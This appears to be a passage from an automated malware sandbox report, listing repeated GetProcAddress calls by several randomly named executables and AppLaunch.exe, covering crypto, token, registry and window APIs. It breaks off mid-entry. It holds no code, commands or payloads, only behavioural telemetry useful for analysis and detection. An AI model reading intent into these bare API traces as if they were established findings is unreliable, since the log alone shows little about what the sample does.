ActivateActCtx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00002836) "3Cf23Ki.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001520) "3Cf23Ki.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001520) "3Cf23Ki.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001520) "3Cf23Ki.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001520) "3Cf23Ki.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00001520) "AppLaunch.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004624) "4em853cx.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003232) "4em853cx.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003232) "4em853cx.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003232) "4em853cx.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003232) "4em853cx.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003232) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter _calloc_base (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter PathAppendW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter PathCombineW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GdiEntry13 (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextA (UID: 00000000-00003236) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003236) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PSCreateMemoryPropertyStore (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PSPropertyBag_WriteDWORD (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadStrAlloc (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter IsTextUnicode (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PropVariantClear (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter RegQueryValueW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter InitPropVariantFromStringAsVector (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PSCoerceToCanonicalValue (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PropVariantToStringAlloc (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_ExW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter SaferGetPolicyInformation (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00002000) "5nB9ui9.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002000) "explothe.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00003888) "explothe.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 